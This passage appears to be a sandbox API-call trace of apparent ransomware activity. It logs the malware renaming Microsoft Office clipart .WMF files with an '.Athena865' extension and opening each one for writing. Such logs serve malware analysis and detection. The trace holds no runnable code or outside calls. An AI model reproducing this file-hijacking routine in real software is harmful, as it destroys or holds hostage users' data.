MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.336] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=37708) returned 1 [0134.340] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00364_.WMF" | out: lpString1="SO00364_.WMF") returned="SO00364_.WMF" [0134.340] lstrlenW (lpString="SO00364_.WMF") returned 12 [0134.340] lstrlenW (lpString="Athena865") returned 9 [0134.340] lstrcmpiW (lpString1="0364_.WMF", lpString2="Athena865") returned -1 [0134.340] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.Athena865") returned 73 [0134.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.342] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6472) returned 1 [0134.345] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00367_.WMF" | out: lpString1="SO00367_.WMF") returned="SO00367_.WMF" [0134.346] lstrlenW (lpString="SO00367_.WMF") returned 12 [0134.346] lstrlenW (lpString="Athena865") returned 9 [0134.346] lstrcmpiW (lpString1="0367_.WMF", lpString2="Athena865") returned -1 [0134.346] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.Athena865") returned 73 [0134.346] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.349] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20970) returned 1 [0134.356] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00373_.WMF" | out: lpString1="SO00373_.WMF") returned="SO00373_.WMF" [0134.356] lstrlenW (lpString="SO00373_.WMF") returned 12 [0134.356] lstrlenW (lpString="Athena865") returned 9 [0134.356] lstrcmpiW (lpString1="0373_.WMF", lpString2="Athena865") returned -1 [0134.356] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.Athena865") returned 73 [0134.356] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.357] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13064) returned 1 [0134.362] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00382_.WMF" | out: lpString1="SO00382_.WMF") returned="SO00382_.WMF" [0134.363] lstrlenW (lpString="SO00382_.WMF") returned 12 [0134.363] lstrlenW (lpString="Athena865") returned 9 [0134.363] lstrcmpiW (lpString1="0382_.WMF", lpString2="Athena865") returned -1 [0134.363] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.Athena865") returned 73 [0134.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.368] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10228) returned 1 [0134.371] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00390_.WMF" | out: lpString1="SO00390_.WMF") returned="SO00390_.WMF" [0134.371] lstrlenW (lpString="SO00390_.WMF") returned 12 [0134.371] lstrlenW (lpString="Athena865") returned 9 [0134.371] lstrcmpiW (lpString1="0390_.WMF", lpString2="Athena865") returned -1 [0134.372] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.Athena865") returned 73 [0134.372] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.373] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2940) returned 1 [0134.376] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00391_.WMF" | out: lpString1="SO00391_.WMF") returned="SO00391_.WMF" [0134.376] lstrlenW (lpString="SO00391_.WMF") returned 12 [0134.376] lstrlenW (lpString="Athena865") returned 9 [0134.376] lstrcmpiW (lpString1="0391_.WMF", lpString2="Athena865") returned -1 [0134.376] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.Athena865") returned 73 [0134.376] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.379] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2088) returned 1 [0134.383] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00416_.WMF" | out: lpString1="SO00416_.WMF") returned="SO00416_.WMF" [0134.383] lstrlenW (lpString="SO00416_.WMF") returned 12 [0134.383] lstrlenW (lpString="Athena865") returned 9 [0134.383] lstrcmpiW (lpString1="0416_.WMF", lpString2="Athena865") returned -1 [0134.383] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.Athena865") returned 73 [0134.383] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.384] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28750) returned 1 [0134.388] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00423_.WMF" | out: lpString1="SO00423_.WMF") returned="SO00423_.WMF" [0134.388] lstrlenW (lpString="SO00423_.WMF") returned 12 [0134.388] lstrlenW (lpString="Athena865") returned 9 [0134.388] lstrcmpiW (lpString1="0423_.WMF", lpString2="Athena865") returned -1 [0134.388] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.Athena865") returned 73 [0134.388] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.390] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5180) returned 1 [0134.396] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00444_.WMF" | out: lpString1="SO00444_.WMF") returned="SO00444_.WMF" [0134.396] lstrlenW (lpString="SO00444_.WMF") returned 12 [0134.396] lstrlenW (lpString="Athena865") returned 9 [0134.396] lstrcmpiW (lpString1="0444_.WMF", lpString2="Athena865") returned -1 [0134.397] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.Athena865") returned 73 [0134.397] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.398] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5444) returned 1 [0134.401] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00452_.WMF" | out: lpString1="SO00452_.WMF") returned="SO00452_.WMF" [0134.401] lstrlenW (lpString="SO00452_.WMF") returned 12 [0134.401] lstrlenW (lpString="Athena865") returned 9 [0134.401] lstrcmpiW (lpString1="0452_.WMF", lpString2="Athena865") returned -1 [0134.401] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.Athena865") returned 73 [0134.401] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.403] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2168) returned 1 [0134.407] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00453_.WMF" | out: lpString1="SO00453_.WMF") returned="SO00453_.WMF" [0134.407] lstrlenW (lpString="SO00453_.WMF") returned 12 [0134.407] lstrlenW (lpString="Athena865") returned 9 [0134.407] lstrcmpiW (lpString1="0453_.WMF", lpString2="Athena865") returned -1 [0134.407] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.Athena865") returned 73 [0134.407] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.409] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23020) returned 1 [0134.412] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00454_.WMF" | out: lpString1="SO00454_.WMF") returned="SO00454_.WMF" [0134.412] lstrlenW (lpString="SO00454_.WMF") returned 12 [0134.412] lstrlenW (lpString="Athena865") returned 9 [0134.412] lstrcmpiW (lpString1="0454_.WMF", lpString2="Athena865") returned -1 [0134.412] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.Athena865") returned 73 [0134.412] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.414] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2924) returned 1 [0134.417] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00466_.WMF" | out: lpString1="SO00466_.WMF") returned="SO00466_.WMF" [0134.417] lstrlenW (lpString="SO00466_.WMF") returned 12 [0134.417] lstrlenW (lpString="Athena865") returned 9 [0134.417] lstrcmpiW (lpString1="0466_.WMF", lpString2="Athena865") returned -1 [0134.417] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.Athena865") returned 73 [0134.417] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.418] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2760) returned 1 [0134.421] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00476_.WMF" | out: lpString1="SO00476_.WMF") returned="SO00476_.WMF" [0134.421] lstrlenW (lpString="SO00476_.WMF") returned 12 [0134.421] lstrlenW (lpString="Athena865") returned 9 [0134.421] lstrcmpiW (lpString1="0476_.WMF", lpString2="Athena865") returned -1 [0134.421] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.Athena865") returned 73 [0134.421] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.422] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4032) returned 1 [0134.425] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00479_.WMF" | out: lpString1="SO00479_.WMF") returned="SO00479_.WMF" [0134.425] lstrlenW (lpString="SO00479_.WMF") returned 12 [0134.425] lstrlenW (lpString="Athena865") returned 9 [0134.425] lstrcmpiW (lpString1="0479_.WMF", lpString2="Athena865") returned -1 [0134.425] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.Athena865") returned 73 [0134.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.426] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23304) returned 1 [0134.431] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00483_.WMF" | out: lpString1="SO00483_.WMF") returned="SO00483_.WMF" [0134.431] lstrlenW (lpString="SO00483_.WMF") returned 12 [0134.431] lstrlenW (lpString="Athena865") returned 9 [0134.431] lstrcmpiW (lpString1="0483_.WMF", lpString2="Athena865") returned -1 [0134.431] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.Athena865") returned 73 [0134.431] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.434] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11192) returned 1 [0134.438] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00486_.WMF" | out: lpString1="SO00486_.WMF") returned="SO00486_.WMF" [0134.438] lstrlenW (lpString="SO00486_.WMF") returned 12 [0134.438] lstrlenW (lpString="Athena865") returned 9 [0134.438] lstrcmpiW (lpString1="0486_.WMF", lpString2="Athena865") returned -1 [0134.438] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.Athena865") returned 73 [0134.438] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.440] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7768) returned 1 [0134.446] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00505_.WMF" | out: lpString1="SO00505_.WMF") returned="SO00505_.WMF" [0134.446] lstrlenW (lpString="SO00505_.WMF") returned 12 [0134.446] lstrlenW (lpString="Athena865") returned 9 [0134.446] lstrcmpiW (lpString1="0505_.WMF", lpString2="Athena865") returned -1 [0134.447] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.Athena865") returned 73 [0134.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.450] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2724) returned 1 [0134.453] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00513_.WMF" | out: lpString1="SO00513_.WMF") returned="SO00513_.WMF" [0134.453] lstrlenW (lpString="SO00513_.WMF") returned 12 [0134.453] lstrlenW (lpString="Athena865") returned 9 [0134.453] lstrcmpiW (lpString1="0513_.WMF", lpString2="Athena865") returned -1 [0134.453] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.Athena865") returned 73 [0134.453] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.Athena865" (normalized: "c:\\program files\\microsoft 